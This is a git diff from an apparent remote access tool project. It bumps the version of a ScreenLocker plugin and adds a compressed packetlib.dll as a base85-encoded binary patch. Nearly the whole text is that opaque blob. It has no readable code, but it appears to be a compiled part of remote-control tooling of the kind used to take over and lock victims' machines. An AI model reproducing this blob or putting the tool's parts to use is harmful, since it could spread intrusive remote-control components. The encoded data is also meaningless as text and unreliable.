Tool/Plugins/ScreenLocker/Properties/AssemblyInfo.cs +++ b/Remote Access Tool/Plugins/ScreenLocker/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("3.2.3.0")] -[assembly: AssemblyFileVersion("3.2.3.0")] +[assembly: AssemblyVersion("3.2.4.0")] +[assembly: AssemblyFileVersion("3.2.4.0")] diff --git a/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed new file mode 100644 index 0000000000000000000000000000000000000000..d9d581db7bf0d1870559711f1dce5e8dd7438e3d GIT binary patch literal 31395 zcmZshcQ_nv`0wAm=|v<2iB%H4dl9RXrne}&I?-8{=$%9of-KQH(QVPKUJ_;XZk5#% zC0LdytCur!e%CqYkMqZT=6=54`@U!Q*~>gLV;a)0ztM%v?wv1d2q!;y{PHp4Ywthr zpD@0-%`bA#_xh)Ik3}9_y&C-P>VJ|sg%6&W=5U3Xj0^DWg@wb5CO{lSLTM4asK=|{ z?VNKNH?w~{E8n~nuF0g5R!S}-b|s3x}2H0AO7i|W`MB#iSL z8jls5s8DWL61lR&TI5ACed`SNr_^Trk=en8nU7tkGW(*2e^rcT5zqUoJU++wxD-*Iq(tR?e zy#NzERjE>p&U{pz6Y+Kug-6q(%xl(#vVUI6?sIv5cy5iR6-38g&)-TK8vhw2;ncPn zdf4TD{7@7eL1n*SoIF7JYJUIvnc(@N(Hj17M4dsg@48a!a7cTIDo6lKRT=$VAsb8u zXZ^{pVn5TpW~E!R%GM&@SbS0xSeuBg%W+gQNPl9G1Q}O`PhVa2NMF)0u>r-io5PI^ zznVsf=vbeLP;jVZr^A&x!ON~bG68lkFEV1Vf(eJjhNXN_gy zS~yyN+7=c=KjOF>$011Ss-!TUTlj1qAegQxc$e=R;vY~Wb|@9W0)Ml7r(Uqf_3GlI zjd#WlPP|XP3N}6yt1S`U&^FhS)83E92)_Pyt4EE$--FX6;WsjtGuKLw!;iT5Mu))o zhr=45&rw^=Pnz=oj^FvmgGWVx%0DMQAx70y%^j)qt^FhWx(Pd{Q=UV7rJf-%m>XS> zmR_`cVjbTw+#Of!Dkw90Olq+iVy=QAnFc?G@N5M$w zlGtary{Ap8QOP{Lx{0o4kR+PIxQ;YlMfPHz-n*UnudWbtjc;;QweK%Yc;39D`vH_| zQ>H?qfG*!@lkj=Zg4cTUd0Ta~MOe%w@z!xNPv(rN1NpTs&BJ`6#MgNNmwHl|T8m^k zS6Ivl$!CqlExKJ*@wc#Xx=m4W0;n27r<-^ad0Kb>oDgkDxzeLr#GO zBT+2bWQZs6>oh~57JHXh;e$-g*+q{W(#sgg0;)fJ{|c^O~I2b^j_Clk&UdCiC(5I^S&H-})Z0qt|HiDh(D4-n&sR`X=*zy4}O_ zc*nh zKh#M6wQ&r~5d_5(3axUOosZW-&K&Oy;{E|&gIPWXeW(=rjNpOmN?a$Qm~EnbKFR$4 zOsLen(YySda?Fs6l6L1umIuW_+=dD4d$@3Y}pKv zXlMF;DBT-&R1@Yu&jwesuq+32R0w^l*70c71?Ssa(t}2@Lg|P{grpxh;6NH{k{Pef zdag4dDaB(D$%LdX93Q;b;$^0!kyx*dWhD4_sY@I<(!#PB{JTmSZX7V70jDegYch*P zX-XS{6f1ecNjoERR{A`gG@P9nm=N33*=t?#=y(6L zVSUxhr~n}ehQch_L7aa)#u5P@D|N{RYgjF?!Qa?&P)gPZrpxSX{^8Ob z3r+7`PR~Z@Oz5K#SVznP$#}kbPGU+8$c!fAb64=5q?Z=deM{Ba9;~?%DxPKUD;Fwl~sF)O2 z1TB}AX@Njf4$A8j$?wan=d%Qr)NAz_qiv12NGWPXfgA@jSab)fr$7RaGkjo zJDnp{AL`ev2ih+$(*yZU)dOrhEmTr9mGg&P>flIgHS_$4s2*t{+8z2{W z+oavF0yQWKwx9)O8o^mQN*5zKCMOCI0glpH2u{ZwvfEi~-LI}Hiss|Pnwm2SeB?kS zZQt(!SGds<8wShy%L;4IXej))ia?RZUR$S;ea7watw@ji)E#YFl49)9<2|1-blERN z^#Bb%>&8_Oyb}=1-p372-WdqG%B_Dvg0Ka7u<0;P)p33Nny2Ah_%XiOrld}l1gUNp z@TR6bvJM#QneO8ycz;6ZVYhfdC0lzQGk+vO&UOnF;Mq}Js$)YQqI$yH2;^Mtb8@FJ zs6_pKRYFelFw?2Pd$0QDxA!+!OlN;N&EawNjtqmiOW@fBc!iUlO^!T>-?5IFPDsuV`Jq|1mYd| zU&r0w@MtG4iyVDWyJMVP&PRkcJg!_TA0Z6x#%lE|d;;@KtmGhM9e42xW?&wyR+oYt zeAhCk8GKYB^bB;_aluQD13yaXc4ZR;HDQ-~nIT z@%-%cum$%Te#hD}2^>-;WDIJZEF4qtNCnyIpDOuD6fKxvBfC7870N~21F=>L1tX#x ziiRje9ls3YxWEbymQO*Jl|mtiGQz_to1}O$HOV}qAjIcvbN%D9(a4jhQrnEiJ>oNy z;u`@CU|faJa}f1JQsJo7CV(fQHUI@%Tv&f4`__S9Lz%aTw3-FbbCU-5b?>8 zZy3h{rgg9s0(ICeB!SzHiBT01LAc^&gW_fVfP*ssGb%Wrxg`>uQ0~Iu95qhSQBkG_ z>Y30lMl3mE264B*#7eCWoC+M{UYy%|Bsv`!>?HRd0U`X)y7MyAH`_@(8WCIRLIvV< zSg-WU~c>YnO?_^LEyV6>;5jHx}SW$5hJgs10F@S{&Un4d7wf~zHn zCnAa(X7WK*WiA=ueoM=Ga8*UwOOVurxEW}=o>0^2-6@t?xAJ^OAgH|STl-bHfOgvAH+Kg;NwIZ~-VRG}c)y~)u6Asmg{ zr_dg)ct_(Lgu_G)6!ibDkvIxM&3gn0>+*k=Ns9FqGuR@2&L;FJ1X5R2lzQ)>{eWxd zU2Dk#mx>Ld&Bie;e7Xf!M5u{JOnLj&JJqBkq$*vmgS=o18sLp#oQdQ55RM7FF@~Gz zk54rU%5+;IXpiYSj6WSIwignvj^7Q?wdsfp{g>mR7zeyzi?9??hr zkzXKut{BQiaDbVXNS1ZKguqPWxCO`c5u7YIV-QE}D2+sLrr#cfoa@zR^GkOZ?3!zC z`Di*U*n=~Ma3YQ;@zn#w5Zg&_4bVW@Rs%T0cHt_#;X5vZ;2n)ftlWxmbEzeoE$yAw z1;~K}9Tu#?rb9Sh#}ys35sH$stvax&?E(e7;Ri02;5{Odl6GX#Q#K0c7HK4yvLp6* zYSXFj>Q7(y%pEcUHBNF3E8GXQH}DTpusg=Va^eue@VGLqVuUN0r}8}`wVj;PX3o@c z>5v{MV6t#jfgN--dRCVu2fAD-^bYZ!@URp282+Y!tgtgqiG54iXfgNln8aqba09(- z0GaN41HWTq`57EiDil}U>fZVvIK;tH9E2wn+OQTP9)q61KTbT%Lfm)!GK%X2Tjz~M zmGvC82&{cG87mN2o-6qCe7o-tW8!ISztP^mN8Pfkw~uo_ob(@Z+iK?s8njwI%tL57 zei_5rfpLF4F-{MAaN_VUmX`nbq*#aub5t9~v4J@pEQLWjl|r8oNJ3IK?kQZ&(y|Vm zUm^4oBr+lX0;E{#k_(QkM9iIDRaH4%2kTflJgSI)m&AQ((o3mSCj;r1+BGvUjN=2t zuv$Gh$JzcN3bzSy6_8??kRHfwGN}OJHvN-ZbtT@s|o6`*;B9cn{ zk_To&u=j0Pvk^Byx4r9Mi}6`mMuTa~%Je}Ili~`X|9w>sKfWSq+695<@;!NzI2hZ} z^eVIAqn{B9k>|)zfLNFiNkZxse7I9N)6cq_|-5t8uHvNCND@1*#15NBzb3J5)+ zUxdIrVuo<^V2x2+m}6QlB6dRD0K{3HyzEI{BQ1BOU6H1TkuWwK;+dTOU;Q(_sFr4O zTCOksH!f=*89>z^KMhL77V( zSi_bTh2R1S!P_RpUxI8)UGl-DBS+)DUF7A7Cq+NI!7B^kKVi1^3w+@IG2EnMTI&>| z&YTsLT3Hr`=p#(@;%MQH<_pH~v?&{b5n}aJt8`CBf(Xez44bSftJJ?lpV0%^GtRKg zbWaEvPL@s-D)vSby!$ws0fjl)&fp5?3p>gVBAz zD%81!Oe=h|RkOQSDIxTCUw?YKs1z%^2rE7wGWH{0C!r3dJ=l$}Sc=hK?nbS@b1R1q zL`$-k)yP;qmvnG2ve)L2Q#S>t~Fl7fLUoG%CYvPuBi9uo3nV0*_BSpNQb0~PI)OA(vTQ5Tv!_Jlt@*Ba1(>5uRd>aGgw5PsA!rllEMqXv?ITdb-oUCYl^az&p z$TtZf>~nj1d`V<{#N&<(bQ)nasQJ|*6@z=&(Z*{S6s~|udC!N>l=e>SMfDB(WvFIQ*IRW!<7$%xEl*->6}dN2gsy+1Y8X zS=k1f%MGncB&8pFH>3+o`c;SsHyUi`@;O7F`}&lNb)LL?%b}9j8(OR&x zobE%~z;h!dnO0YxokpLgmw4A;$u-NC$vrI?JO7pqtviNGx1(lJ$cLEJn>IOlyTQlj zcFSb{%h0Zur~a?Nkt;lUnU<$CUcV~pyQ_llqN17EwuM*{&0TQK2435TVE<0R(7QC0 zZI*oJ=VuS+@9uW3D9P;G?A!BbyuOuw@~0%-o7&i5`#YQTam=oc(2q6cTMTfy^FNI! zfsdQuZrdOi#h#^N^|#9d++0Z|OqAO(8*NRQlN~bxt+3EJ1IL)tJi?}-eKM(Bn5t%{ z?R=GjC2S5Po$lg{^6L5|v7JUV=>Ud~Lg-_A;h)DCX1 zmr6JMmTvgT7v(>V-0%5vMbimxSU#>J)RxXZ2RZL6bG5m3wi%Gyz1BN$EAU&!$W4O? z;l);rYoVB^*OQXp4-VTjYhTMA=qz>fuYOkdgeyo*>JYw7;r%L!Iz$E}=!WL;VP1M8 z(p#-}z%*{?iDH!vKA$F&sNVNG|79e{q?XGo*_Pjlo_KYia%H9lB~#we5{R_1>Cx_? zg!T5f;)u7Y{mUP2tzYW8^kBJg>z9?s7y5tt^@JFgNu?Hht_DgLnqCwFnC%4?TU4AXO2FFCHLKD+w zyf)1>T*{4OyFQ$4Pi4JyExY4)?XpI~^1AlinvTwh(I6k3`Y-Cbk+Uo;Ta z`RIi#Pj38}lZ4Kh%OcGTs8ro6XAjy@I{!x+}hPvD84 zYcr|gUkkkCT(5}+nFn>$A1ASP;5$j<+Q-t`QTot==4Gxq*>(&OUB`jmR6gh9;T}2b z-+6eL!e=I^9F%%;-zjPus=}Ws@80N7;ZEHY%%3TAAZzlh%1foR*@=IB6K1hi)tt$7 zj^QswyXrLb?8{8+#uU_0r;S=$N8Lg3=@xN%cCGx*zv~ljW+@kb8uruTkMTjYKuMPy z`bXj~H=%3_1O%;gThDaM?>mN#3~!`N!int~7QWh&(7oon75+*US!UNmGx?fUS99n(F<3i~r=6|vQ=#*>q?;ZR zxJM6EvzVS`F0}a;CJy!7pZ70pwzP6{O#_3lBq_!3M!2M-)WKFTPFj z8Si`)r>M|Uqt6R!NWArCwhvU^B@ zv$5+bkNV1n*>VoUZDZ!I{`}0>uIc(9Dzt*yzbD5#Pt)abn#CXKx2Eqc+{!JqkQTP$ z1vzBVwEBO?!)bXkf=~B<2Hh}4u=2lthhKrq?9shTeU`WjL7=irB=c0Y4MP?|F^?*_ z%?|gmI{sYp*x6xalJix{ssYEow*KX+T>$~PKDgQA{i3@vYzvRNo2eLvpOXh0-G2Vp zpYqk55od5L#oTXjI(&D{@ch?Sx{k=%Z9V06<1Moql}xpE0sBy$q19E|jU4w{dS~+P zSB9I=519txW;#)=D~B!a*ebJql$J@bpC|1JJ`}PL@?Su(Rk>GikGkpkoi6(`gHV^5u-Tlu3z*QmYZ?;2OUJC}_XgT& zI#`m=#iuH*y4D&)D^wDFTVrnOFI$RG+R8M<*>A)x6TG4uxX5phxFs=!biHO8y>tGh zx5a@Bv$suKZ~0RkcddpG%-fG~x|LZy_givQ$SkNdbA7015Lb5cwx8%NjxGb?f^2Zg zF?o;HD04zv>n$FJSy!*QK9o8639$|E(BE`ApWF&Odd0L^kR!=$8lNxTm~LU=*UnoS z#6Q+rx`)cn5vH`&Wt4 zHos&-J91GfnWWv!Omxr&iNyVt?;kmq_Ukj@UadZ3c?bWdMU=@gVN|vK^|=Bso!w&k zhkCuD^qjxH@n%QnRnuFuly_Bi8-}#iE+ziNG_GU`rlHF+qfXt1>X?ip+%$3G)gLT> zZEC(=N1RTIqyM#hc**yN!`lt*^~}fx!1}rQ!vO#A7vG;Jm9i11Dqn1`MoPb9EeIA_ zzcOeTIo9)2?sESpH~Kv(%kz6jClAtYL*Mg1gj|Z8{J0SH;|x6!H4z^S`Yuqjkr;M0 zv?B0~SI$U7b85H_s(N>gQRMcf?_R;f`cN6~J=tWZqe`Qm@6Ik_MG{|*UkuVPRx{%a zW?OwV=R)?kq7O#FTr&+l&F?MO_xCM-X)2$)xgH;s%2xP$=*!(aU&D`gp$EQX5TTh5 zs@}^`J&5`qn4{#S9>KxJ9izClDbW7@j~n#^nK!q%`@iju4KNPqNTL@1J$R zb;9uW#>CB{=J`&RM2lN#)zl(Jep2n#Ix?5*d2QmkWvAh`4r>{0rFAc7!YM7A>Gl*2 z!UfjNZk%(zWj(0O-7rsf2wPP9gS*nswKo#`z$}lwXkhu;zH-baCwE|6p?9b_5=#yw zu=o_&MmV63>H{RFcC;qrg_jMXX7MKckdOGedN@Z!LirKas7@EH&mPgYnC*d)40lKN zTj6soMA!#uq3krP+9sVS)S`kO3&}z>YY~bp#zH*Hj;=c#I3H%(Ef35r2onpYj~RJt zdsy#czw5OIS(c2tn#I3F(n}Yq;NQfdp438+^j{<=94bx+7N4IE^3G(XSQ)|4zUozv zATu7ByhRZ8jT9w&_lTS(&q_L?#ZlI-y`B_3u^RszDLL2|=$4zfcR*%CMGX83sRP=H2u#2B>4Y!&w75TR zTpjt4Ldh3VZue;Pu4Mf&sMzr+9-_YeygM&!1}=IDMu)cCZcgOM3Np^vO)hOl3;*T%FC5i_l`j^m~ z>*;BO5whkUmd?&EoNw(_juiDwsd2OXg=*tBo*4=%?$RYb8KlhBsHgBW(`O~lQb?4W#E{L+@}$&Z<;FO!9_dLwy_YNY3|6>AvfFaijl)a4{1WnS$|!I+;%Ndg!U z2OtOxm7OoZED0;g8eqhZ5AH`26o;GvL`%KVlTyzROCeOGa1Maf4KA7ZNg}e!-ys9| zC~hPXI|j8c0lS>PxAov=5`lAY7|8lJ{aXpAL*}!!fAjak+!cU~ z=qeyNb|n}vsYthgyb;k$I>%OZpU|gTvT_B3GZ^WmRc)E|!T_E|VqpM%;~Ic~#lir| zfK>pety;%-B!S^IAKz3$)VJN){5@8#`fB9qjqQCfmRY&c50G=48r4Z6_HUhaj@9TV zr$%KXICjCp(||%A#sy zz+IE!snNg(qzyPsF5KzusBEH>7l1uUSf;9aBw=}It|X;We2gWT=;1kne) zV0?yBYPdR%(N-bnBCwfG9Z-z$fFpd;))* zAq+M1B3(rtyR2=BMD7{$@QLD`Am@RB4p<}mXGo+ch(Zuha)k2srUm%tmL;R|OASpj zl$N#l(Y%WTJ5$`fM1{kh6Hh}!81%>8aH31Maeo0Kk0Wu%UJ==~^e@2x=34u%m`AkM zSV=5C#aJM>UPWDiZs>BPu|ReQL#^?v0ZG@|BvY3~mLONJMc13BebGJayLqgMs!Pi( zu|0Y2pV0xOZ$wDBxxz*=re6ghzRAc_VIsr^)|}Seqee;``6jG$EO09!ncy{41B5hB zi+V=`ul8|^V9k_ocdL=~hFy+)%lCNgJ(7_DVnu=?*v)(j>-@cIlGVMVv(M<_lL?^J zaA6%kR+A3=?_&*>ns6s;$h?stz7a#~KKD{@gcUR9zR8Ez!8GyCsf`atV1^f$|2V9u zLw6R*#d);Qo{Qapeo-QPd`Juf?x|W^NgTsmHPJ*aajdQ3o4Mvv$mBRZr}C!vzHzA- z=WoNVv1G((^R!g}D}|t#!Q88y9`!M?A*%qHWU~5G^t9C}U5c4g`PprLZopOJy>Lee zKoS1~UO;$}+T#&W_R+}R7Ohe+wc@FWtsXH2pc9)zkXo@<#Ci<|0vI-mgl*+B zuQLLelSDN}1bXP!hb~^P9E0t@uD_*2ni;Ka(e)Es(o2GEW@XUi6Z{GrS~8~IoY~YR zUMr_h%@lx?wy>2Y=2xN+H}{8-G#p`}b}v6E&p#m;n#Xu2384N{mR8e)Cb2PPt?{T) zMGeA%6!94&^O(;)1G_*d12K=W%cf&gemayI$;OmNt4I|!Yzss=&J4=Z3e9gxnw@@2 zF0SM zBk{^-QhAcG`28mDmWs+x5UKMKZIcPbfue8Ac68MgyB*XSIS%^jF^aN^)#8!<85>SH zOt2hNM~EP&wC3q?3VEA~V$ET!NA+o4iGkp;y{lP;>D~yY$)>SEZRf%k=3fPD-pX>o zE*a!L@^x)&cu{uYtE3(QK2Q4GI3{s?rTjut(AyVXTk<$k1-h6P$OMp#!H056-XEB( zup{S4-Qy!7p;^N_R@QCw>~6q9;VI)$yVi02BI+r&S=By1fA8`ra(FcGT^%%qFqhM! zqI2x0YiJJ(in^woLP)ju&Osbaqi3@GMV07AQ3sKLXPl+J z|M8ljJmPI={FPFT@Npk0SHUvE$!#6(&Uwo7mf?CSY_eGe49fm51SMh);%431wzwNN zmF7i`dZXKHcM+^%11ofjRM)%k18go|hmVrkWD7J-)u=Lc#sfLR1Pe1FKX}?kRxmY6k52E9SS@<=tsD zxsm74#C^3yq7;;~n`Zm=X*cm{?Tf&ywzDcCUuJ%@wiHz6mX~t;q?v6((gBFP<}57r z>g922@7Yg)nFJn+gO} z7+WX?#To=pOwL&)JT4|W3#&d5Ba0=ohu7B-Tnvz5PFw$=St}%!$l_>F9Vv@#iw|92 z=aE3fj~Pp{`?d{48f$+N{k|B(qkTQec=#3WpIFtDPS6`ydrsdw|J7Df=UrA4AjzL! z;z-=Hm;g*aA>Vghc^{Ibzb_6y@1=j^s!X?YQQ01IiG!|0U*h}XJdMNk2|UxTm-;%F z1?KKyy(%^tuXGs3^)hV$mUi+g?umdcL~u$n3~i9k4eU~{uk>2nOmDwjgyIs?X+ZME z+_Z_HRSce-7f}qBm{Gl{Ty# zkS&DX0D`_QrSNLPXQ2;jb?g?z$Mt(MG6HH`G+4|Yd4e5c_0_=E+QJ%*%64^$WJ*@c zevu~D$)@#0fYB;ug_ZtVGTYH-&~<>}QWtUfF{83>xZ(wD82}_QD(_M|OU0~k%DS@+ znfY%hWj7zpMz{U5mC71+sl~*4Z1UMqQ#YpKJqsG(^XzXIJkaBamsBmT;L-X)q^j*l zy`teY8o{I(=rHrAC(o4oDhS{Rk#&X)w5RSE> z`5B&AvfY+ee3$Q+gYs@G8HJM^fKUdMut5}!@(1-XOZlTWv1IXRnF%Wyjf3l{n2v~9 zKwgla`@ykx)8Y?cUJ-IFO>d)~OtsHW`VI^7tkYF2mDCKpo5c3Jyw3PyPrFu?*7wwa zZyXNXSfsZR*?ndoxX`1$mV9*DBrw`KdxN?zOz5<@er*#;{Q=Tqn|-!4~Y0sEAjF?&clvPGIgqDdMOY z!mlE&y?94x$CUTvWpBfHc=i*US=)#vAReH78It6a$*OQyXh&92jltsgDVIyzJ&{et zuv*|WJR3z75eoRc36y}Zm-e)+_gLD60Qfs?5(n={9-FPXYbRzks>LgO)!!`cXRx; z&M`|gcyzQ$-<=)?GvlkfD~e@iy%m~5h`Mk6Qk~Qhe(5iXS)N$dTVf+rLLvCY7I$R+ zT|723y+)T|3RT6y#MzH$jaBBOqq{2#Q16bYGUnbm5M%CD0~`(W3rS%kwz0lcr{Zmo z{ma{tY|wBq2IaKJDU1MQJ=n@rPG+Lpc(y87!|*NiHZl7A+M$!!AfC-pQI-#Qv26_# z)@^;0;kE8IYI#cN_@1N@N*k(4Zs6Er8_L9|%528L4*qjvPUqvG5J^twi)647mNH9z6<7q?03T7RG=)@xM-O_RRhtI*`$u`oodn$239CvYt@DOu*0)aBS{2UHmeI?)5Q zkZB2^7UlgWsS9H&{ks#ul%bi-~6@j-TrtLT{-bgpDF#QM;tPB*O|rsPwn z3qtp$SLhgLcW}E+a(n8f8heI=Q0fASVN;B?#vB`Ni>|eHt^mAo(LDlXa{#sySQAa= zFDnY@ef|(>Tzqd%!nIcWgxI;H68-RL?K&+fm?Lq9Maquoa4++kdH}`z=5rmh4+j!} z@BrF5I?kp2GQSD^N}+SqE57q~@=-CZ%nLw}R|W*^3bQcTgf--oTEO_{p(i?XSPNG` zE=r;SWX|8AfE>pDq)E>>b=9{l2G7Z^lHP)PqKf1~OI5@ZI*CmTc~uoDmpr)9`Nb-t zrAHjLQMzKKDxD-gJR`;_k$3Hy3p4uqVt3thY5L)=<_zzggF*)XEGw_)0#5@qd`UcXPRnB+6T8p!}8ISDym*zFbpG7^+t5j225&8k5U zI7}`_H$*7+!`&2;d}{O@nazKjm(;ie$&J}AA5D(0vdfJG%qu|k;{9X1GizeweKTeR zH*E7VZ1*EN^i2d~gPxtl<4N1Lz1Q1#F{7LE%nvq8wVUYzUZ21}8jMqhZ5l!{+d^OM zDaAS&A1I`_FJ$inVeE>?aPAb_wWz17vOEf3F352~4x7J>93GDa2DAu35=i(<4F>z+ z8BU^Niu-<81;EUEQ$V-Odx>8v9h%YWEgw1CH=^qZf>fCgD63G;)S0wqQm`P?la<0# zpC>RilHlh>dY$9j*_H_8seH7NB`iqGy+jDx%ogqdm|@+3scK<|Kn64yB89MsT z5v&(xL=M1`&z68v^0|(_qTG~*a~ya@67{)UB^tdfS{4mSFqSC^W5kTs|5~%)D z)YXLJ;oH8>pHuZo@#B6kr`w6?4FSbs?Uylkf3pv#&TrADdq_62&%z)^)N{1wqspC& zlsERdVoxp&na3%g$wZ5Gvz=%BK?rw=MSSOq^{-eF>1LZ_K`A6J8ojcMQ*M&~!fYKA zWTy6)3>Vq&^~L`Z3@}R{NI%aiWVRkJ-k53*tI$Ut?>Sq5c*!Fxit`pwV!=>U+lH1T z-E-y$ql>HAsP;e^Sn{y#Jinq!W*8*{H{*lri~!~&w2zEWh)Sz&(c*;M-A{I67hI9P zU?($N`$&72;ev5dVD13+YmpZW&QVt}izxd``y3J>wL4PfpgyUOmfXu7?IEE1gTWPjE@bf%m&C)dZS9M_w>|T8JajOnx8W+^emJu|3Y&a}T9%lBaTm z!m}`=&ar3Q3Wy=>d4jhRgD7rP0Q1RGjnrZY#*I1|IN*{9{OG_h$QkQ&z}qOVLI`0w z_35H6s7GAuB2Z)27_pp&)e?AEh z1aD*1wV;NTNbpKSf;+kyZBc#LIzawy*bc}hm~NMRg233I3-DwkQ8Ppu9fDuo?)qx0 zPH$^dhZfZX9x!G&^V8eH2C5UHM6h)FoRJqSK!{+EF%=!jgn%)h1vOIOT8vA+XESz6 ztA4KThnAn%nx`UZ26N1S^{P&}K!(fcY%5{2urZYE=@8)Ll_kHR9&o8gWOkIUv;hbk zi_*68n`WWa09nv>4akyC6oWI7w<_d|7@5Y1wIlT?yeJGvWFNc#mkmIow!@aUju{eb z0i^dz+W%z$@Y3regVhb!H3n#7xo{q#UuEW$W-JdgI%8%oTAq^8Fo5rIv9TH zzLX@G$$vwbFyvTqn2owxMRBs-SliRJgo{D-Mg}l&UwaZDQ_GQWq^b7Q!6Jlw@~VQv zM!!V!sl)t@wMHP1!8|}1=)hW3!kHrKl1rxMEGv8a*)N}+W0E-EqNSauCam0B?rH?A z90pJ_TWlMHL+@V_0ct@>e`yt?Y*CDL|4SIa46M@yJwlo?)PR9?jPktQTCg%lSWb~i ztQyr$kpo9E+i#<4p!Y{$LX+8A##)X2;8C}!S;nX_w7^Xa{&o?zgNj!Fx*=Y7|HT?` zv)-X!+{F=QiK)C`kw&aKRfnMoXDVBQ{wE+-#gqej-q^dp{PUMd02eUa7nugw3mW~p zP>S+^xCcYc0n{3-aZF(c5}8#JjciK|hCs^KYW8B_K!_abbx7BTyAQc7noDq4YTnu z`5`+FTcd`0b*>dvo%O@&9gQqc+la1{Rk-r}mBTfn><|%;@~zP2<_mX8v-GOkM;AQy00d1gZAk-;bap4@6RJ z4K+1^UisJ{pcloM5s>UuDqFhNs&me__L!GED%W!q8Sgus0YB|lk+C1BqADP$$Yc$a z5z4eRSKKhbJ2~2Wg9^NvkUW2)bEU63-Y0*A!{IZ_b1wKE(ldK)BIhFCjfSBpJWiK%PrO85Ge2&!|SMLEE|YviuyQJ@2Opo zX&zRRm^tL7f2>c6zSs{`kImu(n#gc8@mEtPD#<3MW}5zKADc@pO^Qv-gf$}dg6f%o z-jX5$=%27}Qol(tROkw13{KWUpw4s!;aZvoYXh? z@YS!S3dh8z0@B&@c|C*}(}kx38fo4@`0*5DqpN$-r1}A`IlGzfaQViBI%jM#5{u4oNMdJ^aiMIhMIpE1(i8BA)7xqF3DrGPc{~J>MLrbAL9RZB`NQ=KlT5 za`yK5{)A)yj~mGPI*WYqG__l95Xxv%)OEaOi}_wGG*H}@vHL`1dEe~NZTNidY=HY9 z=Me379=o6^FkZQm5GN<;048BiGc)4Pn)Nf!aJ&h3ONw8k4}?lxc7tKM~w7)vZDsOKse z$gCJi0J7!Abu{Z>{%h?M%d+%N>V3tUacbfuHS5H;yy+ z!H&#}l*xi7H+-v?nH!IOZH4-K%zQdPegl^JX12otpZ=+ax_V;8QR!^SdFsulONFQs z-owV6Su)jE1(xBrJ3>Jxb&TiVzf7@KDwf~d*GNpOsz^8}K#Uk~4H)HZLQW1hRX)b= zDbAW{9ADO)`5AN|>-w8HP+0STvZN4IQ7Eoz;xfb>7-aBqw!aN^dtpOENvoelTBg5E z#Q5-h#V77tUKzx5N!H8fydvfMrGenH@uAt|leveaub4TJ%bBn! z?$_g|*MR@VYiNxZsSb5a6a_c66&&1QK>DhFyZmWSh{TPM?9{9C_gO;c_*-}CaUK%+ z%#yd`+07=m<9W?Y7I`(B>beunn(Dgrybg&^%sy@7b((y;^qw{O_UJ|X$9L)>{o}jz zYW*Rddd!DJUbFaZyk^r;&-g!w^ju~i7SSqA*Lue99ny1{wJxCzn}WARUommFR zF(pIWq6$qhU1!zXqs>$?9|D@K!W$BfK#e^AU5UJ0@V?^5jheX8W@`6;_r`;T%Fjh9 z@KYS6TIEtcp9ll@qcK!Oep7x-+_6}kp0eqx)_L%c8E$+`YPUmSl)k=@#*w98Z|>Jl z!6e@O>s_ZV^Gnk-Pt}ce^fkQ(E5j+u&-V_A&A;g0tJ)#Id$)yucdCo3+p7slDRf>% zxCbAU{sh-%nl*)vg*X4c6>iR!`pS0PGNy!9R$Z!X^n`9j{R`Njav(^3qrke6-><*h zIl3XQ{zwp-$$zTv`n>;n7t>GEIlY*mB5@_L@O_o$0;&H(q}q0TN z_?2ifv(F2bgle-tNnZ7jiTX{B3;clbEjXyM{p784N07v6xG402J<%$(ZLVGDeOXL3 znSnQuYQvP8ozhyJt_9XDr_@DjGf0^9$e3X3@A6gKFq`p6zE>#3Qg>zSW;6L!b>Rve zzv!4RJLb_;APgEzW#kP5;oIqYJC z`dx^prrX9TT(#*Os-{Xh{A9swwQA{MnHR1oQKRh}Yj$0R4q1!F4q;a2!7vg(cS%w% zk4ZAH#pd$Juq#7+VKJzuDV4@1LP!l0q17uM?QD?aJz)E!jM`I;)g{%(=#nUu(d;G4 zl3Lp#xv}id8rt^L8M(s~vA~v^JM8_ReUX*4vh}uiO!p!(mmD*|fwVGJ)9z}B$&K-0 zRc7DOh*8OxK$>p1=8mw-DQk28ufDE2EUK;ROLun*GIV#hAR`FU(ujbxbhiSM(g*@W zmvjk8NhvuJ(jhstzyLA`e207Ad#}Fl_50(@n!V4ez1DB7y`P8SoPg{CErf(>A>1Sp zyw%T~GFGL^0Xiy4CYIs=#j6x1Z#-l#^eejWdDO#PCv5}X@EOq(+!t3FerJ=E;WA1t zyqaBM*C)MMN_DoYDY)M(H~ems37EV;5##4sMs;RfX+7`u0^oE4CY6D!d@{zbQWxMf z1vqaeI!b;>H{D#NKcu|?>UBfQe@LH|0T=L{0GJ~HXgomGIf6zlflEfbI9h8WhF8@` z%k@!I#(K&!^|$0?8<2+j!yU$qqr|mv(gu2w(9NRvEX{P%#_30mYdpK6%iry_CJ@a? zDvL2!&ME|cS{b0Tq94GIIN*dD=W0iX$yLlb;PVGZca1N};HT)mei&^5nAarVbGomo zue{z3#J?M;dWT(DR?b{dR_?7esXL}U*_@>{**sG!tGZEGwu8``B=ak1uh`(xt=Nmw zX=uDCENhTv0|vK$P;Xtp)G{2;y9B^!f+bv~YVE~%$-55(LD9DDPe2u~Xp!SkSwBh^ z#aKhhKjklTp~e?4B$jX4ema30Y7t&Wbn;Om<(uO=+@k3co5oGlgons~Q_Jm}*;TMd zHtf1hiJotcLWyA{mk{aOMM#N4)5TJaM(RY172b*Y*GN^29yf%D4_$=0lwb6*Y}_Tw zu4owdZ67EB4CT_C5I4kv4_Ud3a{87?s7p1L1Gla3h1=*NI+D6ceUyE;x;> zh3$(H0L+In^5H6XvH|KlmHF^RLWa$8?v=tA;30v0nBjld*{JT(Q7x}BP&$9n+DUm`t zOa@AT4nzq3jyY*e2%h;JN{q}->uR)uxc_*r+=UJ-CM-FmPVRU9vi@xvH71n58p+|W zMNUxtUccJkLjPIhUqK#F7=;kP!{qr;!@Dpk(JakTrZM|~^ieq=vC~}s>Tm3Sf*H2h zd7Bcs+x)-mCr7)4{`>lR_nUEi(f>Wm1B%zbaiGR;KS~Aw*S}c$e=>uF!1xs&0Af)^ z0HmEm1%HRMqx>K!2I7BBA!~`kasLe*H+gRPjSv9036%ee+)tTS05b8vmTrVdexE*5 